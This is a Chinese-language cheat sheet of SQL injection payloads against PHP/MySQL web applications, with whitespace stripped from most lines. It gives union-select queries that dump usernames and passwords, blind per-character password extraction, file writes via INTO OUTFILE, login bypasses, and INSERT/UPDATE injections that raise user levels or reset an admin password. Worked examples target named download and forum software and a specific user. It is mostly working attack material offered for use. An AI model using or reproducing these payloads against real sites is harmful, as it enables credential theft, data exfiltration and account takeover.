php注入方法集锦

root

'%23

'andpassWord='mypass

id=-1unionselect1,1,1

id=-1unionselectchar(97),char(97),char(97)

id=1unionselect1,1,1frommembers

id=1unionselect1,1,1fromadmin

id=1unionselect1,1,1fromuser

userid=1andpassword=mypass

userid=1andmid(password,3,1)=char(112)

userid=1andmid(password,4,1)=char(97)

andord(mid(password,3,1))>111（ord函数很好用，可以返回整形的）

'andLENGTH(password)='6（探测密码长度）

'andLEFT(password,1)='m

'andLEFT(password,2)='my

…………………………依次类推

'unionselect1,username,passwordfromuser/*

'unionselect1,username,passwordfromuser/*

='unionselect1,username,passwordfromuser/*（可以是1或者=后直接跟）

99999'unionselect1,username,passwordfromuser/*

'intooutfile'c:/file.txt（导出文件）

='or1=1intooutfile'c:/file.txt

1'unionselect1,username,passwordfromuserintooutfile'c:/user.txt

selectpasswordFROMadminswherelogin='John'INTODUMPFILE'/path/to/site/file.txt'

id='unionselect1,username,passwordfromuserintooutfile

id=-1unionselect1,database(),version()（灵活应用查询）

常用查询测试语句，

select*FROMtablewhere1=1

select*FROMtablewhere'uuu'='uuu'

select*FROMtablewhere1<>2

select*FROMtablewhere3>2

select*FROMtablewhere2<3

select*FROMtablewhere1

select*FROMtablewhere1+1

select*FROMtablewhere1--1

select*FROMtablewhereISNULL(NULL)

select*FROMtablewhereISNULL(COT(0))

select*FROMtablewhere1ISNOTNULL

select*FROMtablewhereNULLISNULL

select*FROMtablewhere2BETWEEN1AND3

select*FROMtablewhere'b'BETWEEN'a'AND'c'

select*FROMtablewhere2IN(0,1,2)

select*FROMtablewhereCASEWHEN1>0THEN1END

例如：夜猫下载系统1.0版本

id=1unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_user

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1

id=10000unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andgroupid=1

unionselect1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1（替换，寻找密码）

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,1,1))=49（验证第一位密码）

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,2,1))=50（第二位）

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,3,1))=51

…………………………………………………………

例如2：灰色轨迹变换id进行测试（meteor）

union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句：

selectallowsmilies,public,userid,eventdate,event,subjectFROMcalendar_eventswhereeventid=1union(select1,1,1,1,1,1,1fromuserwhereuserid=1)

selectallowsmilies,public,userid,eventdate,event,subjectFROMcalendar_eventswhereeventid=1union(select1,1,1,1,username,passwordfromuserwhereuserid=1)

union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

union %20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username ='sandflee')%20order%20by%20eventdate（查沙子的id）

（selectaFROMtable_namewherea=10ANDB=1ORDERBYaLIMIT10)

select*FROMarticlewherearticleid='$id'unionselect*FROM……（字段和数据库相同情况下，可直接提交）

select*FROMarticlewherearticleid='$id'unionselect1,1,1,1,1,1,1FROM……（不同的情况下）

特殊技巧：在表单，搜索引擎等地方写：

"___"

".__"

"%

%'ORDERBYarticleid/*

%'ORDERBYarticleid#

__'ORDERBYarticleid/*

__'ORDERBYarticleid#

$command="dirc:/";system($command);

select*FROMarticlewherearticleid='$id'

select*FROMarticlewherearticleid=$id

1'and1=2unionselect*fromuserwhereuserid=1/*句中变为

(select*FROMarticlewherearticleid='1'and1=2unionselect*fromuserwhereuserid=1/*')

1and1=2unionselect*fromuserwhereuserid=1

语句形式：建立一个库，插入：

createDATABASE`injection`

createTABLE`user`(

`userid`int(11)NOTNULLauto_increment,

`username`varchar(20)NOTNULLdefault'',

`password`varchar(20)NOTNULLdefault'',

PRIMARYKEY(`userid`)

);

insertINTO`user`VALUES(1,'swap','mypass');

插如一个注册用户：

insertINTO`user`(userid,username,password,homepage,userlevel)VALUES('','$username','$password','$homepage','1');

"insertINTOmembres(login,password,nom,email,userlevel)VALUES('$login','$pass','$nom','$email','1')";

insertINTOmembres(login,password,nom,email,userlevel)VALUES('','','','','3')#','1')

"insertINTOmembresSETlogin='$login',password='$pass',nom='$nom',email='$email'";

insertINTOmembresSETlogin='',password='',nom='',userlevel='3',email=''

"insertINTOmembresVALUES('$id','$login','$pass','$nom','$email','1')";

updateuserSETpassword='$password',homepage='$homepage'whereid='$id'

updateuserSETpassword='MD5(mypass)'whereusername='admin'#)',homepage='$homepage'whereid='$id'

"updatemembresSETpassword='$pass',nom='$nom',email='$email'whereid='$id'";

updatemembresSETpassword='[PASS]',nom='',userlevel='3',email=''whereid='[ID]'

"updatenewsSETVotes=Votes+1,score=score+$notewhereidnews='$id'";

长用函数：

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如：

updatearticleSETtitle=$titlewherearticleid=1对应函数

updatearticleSETtitle=DATABASE()whereid=1

#把当前数据库名更新到title字段

updatearticleSETtitle=USER()whereid=1

#把当前mysql用户名更新到title字段

updatearticleSETtitle=SYSTEM_USER()whereid=1

#把当前MySQL用户名更新到title字段

updatearticleSETtitle=SESSION_USER()whereid=1

#把当前MySQL用户名更新到title字段

updatearticleSETtitle=CURRENT_USER()whereid=1

#把当前会话被验证匹配的用户名更新到title字段

：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：

$req="select*FROMmembreswherenamelike'%$search%'ORDERBYname";

select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname

select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname

selectuidFROMadminswherelogin=''OR'a'='a'ANDpassword=''OR'a'='a'（经典）

selectuidFROMadminswherelogin=''ORadmin_level=1#'ANDpassword=''

select*FROMtablewheremsglike'%hop'

selectuidFROMmembreswherelogin='Bob'ANDpasswordlike'a%'#'ANDpassword=''

select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname